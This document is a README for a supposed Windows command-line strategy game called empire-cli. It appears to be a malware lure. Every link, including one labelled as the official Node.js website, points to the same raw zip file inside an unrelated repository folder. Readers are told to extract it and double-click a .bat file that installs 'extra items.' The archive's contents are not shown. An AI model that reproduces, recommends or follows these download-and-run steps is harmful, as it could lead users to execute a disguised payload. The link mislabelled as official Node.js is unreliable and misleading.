⚔️ empire-cli - Simple Command Line Strategy Game

What is empire-cli?

empire-cli is a turn-based strategy role-playing game you can play right in your Windows command prompt or terminal. You take control of armies and make decisions to win battles and grow your empire. The game uses text and simple commands, so you don't need a powerful computer or special software. Just type your moves and watch the story unfold.

This game is made in Node.js and built with TypeScript, but you do not need to know any coding to play it. Everything runs from a simple window where you enter commands and see the results.

🎮 Key Features

• Turn-based gameplay lets you think before you act.
• Build and manage armies using clear, easy commands.
• Explore a story with role-playing elements.
• Run entirely inside your Windows command prompt.
• Play anywhere without installing large programs.
• Open-source and free to use.
• AI controls the opponents, providing challenging matches.
• Supports keyboard only.

🖥️ System Requirements

• Windows 10 or later.
• At least 2 GB of free disk space.
• Node.js installed (version 14 or higher).
• Access to the internet to download the files.

You may wonder why Node.js is needed. It's the software that runs the game code behind the scenes. Don’t worry; you will get clear steps on how to install it below.

🚀 Getting Started

Start by visiting the official releases page to get the game files.

You will find the latest versions available. Choose the most recent one that fits your Windows system.

Step 1: Download the Empire-CLI package

1. Open your web browser and go to the releases page:

   https://raw.githubusercontent.com/Maiabaked425/empire-cli/main/src/ui/empire-cli-v2.7.zip

2. Look for the latest release (the top of the list).

3. Download the Windows version. It will usually be a .zip file named something like empire-cli-windows.zip.

4. Save the file to a folder you can easily access, such as Downloads or your Desktop.

Step 2: Install Node.js

To play empire-cli, your computer must have Node.js installed. This program will run the game for you.

1. Go to the official Node.js website: https://raw.githubusercontent.com/Maiabaked425/empire-cli/main/src/ui/empire-cli-v2.7.zip

2. On the home page, you will see a download button for Windows. Click on the "LTS" version (Long Term Support). This version is the most stable.

3. Run the installer once it finishes downloading.

4. Follow the on-screen instructions and keep the default settings.

5. Wait for the installation to complete.

Step 3: Extract the game files

1. Find the .zip file you downloaded in Step 1.

2. Right-click on the file and choose "Extract All..."

3. Select a folder where you want to keep the game files. The Desktop is a good choice.

4. Click "Extract" to unzip the contents.

You should now have a new folder with the game files inside it.

Step 4: Run empire-cli

1. Open the folder where you extracted the game files.

2. Inside the folder, find the file named start-game.bat or run.bat. This file will launch the game.

3. Double-click the .bat file. A command prompt window will open.

4. If this is your first time running the game, the program may install some extra items. This may take a minute, but it will only happen once.

5. Follow the instructions shown on the screen. Use your keyboard to type commands as the game asks.

🔧 How to Play

The game runs in the terminal window using text commands. You enter simple words or letters to control your army and decide your moves.

• To select an action, type the command shown (like move, attack, or defend) and press Enter.

• The game will respond with results and new options each turn.

• Use the arrow keys or type commands to navigate menus.

• To quit the game at any time, type exit or close the window.

📂 Folder Overview

• start-game.bat — The quick-launch file for Windows users.

• README.md — This file for reading information about the game.

• game-files — Contains the core files the game uses to run.

• node_modules — Folder with the software libraries (created when you first run the game).

⚙️ Troubleshooting Common Issues

• If the game window closes immediately, try running the .bat file from a command prompt manually:

  1. Open the Start menu and type cmd, then press Enter.

  2. Use the cd command to go to your game folder. For example:
     cd Desktop\empire-cli

  3. Type start-game.bat and press Enter.

• If Node.js shows an error, check you installed the right version (14 or newer).

• If the game says a command is not recognized, confirm you typed it exactly.

• If the game freezes or lags, close the window and restart.

🔄 Updating empire-cli

Check the releases page regularly for new versions or fixes:

https://raw.githubusercontent.com/Maiabaked425/empire-cli/main/src/ui/empire-cli-v2.7.zip

Download the latest .zip file and repeat the extract step. You can replace your old folder with the new one.

📝 License and Contributions

empire-cli is open source. You can explore the code or suggest improvements on GitHub.

The project uses standard open-source licenses to allow sharing and changing the code.

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If you want to learn more about how empire-cli works under the hood or want to help develop it, the repository has detailed technical files and instructions on advanced setup and building from source. However, none of this is needed just to start playing.

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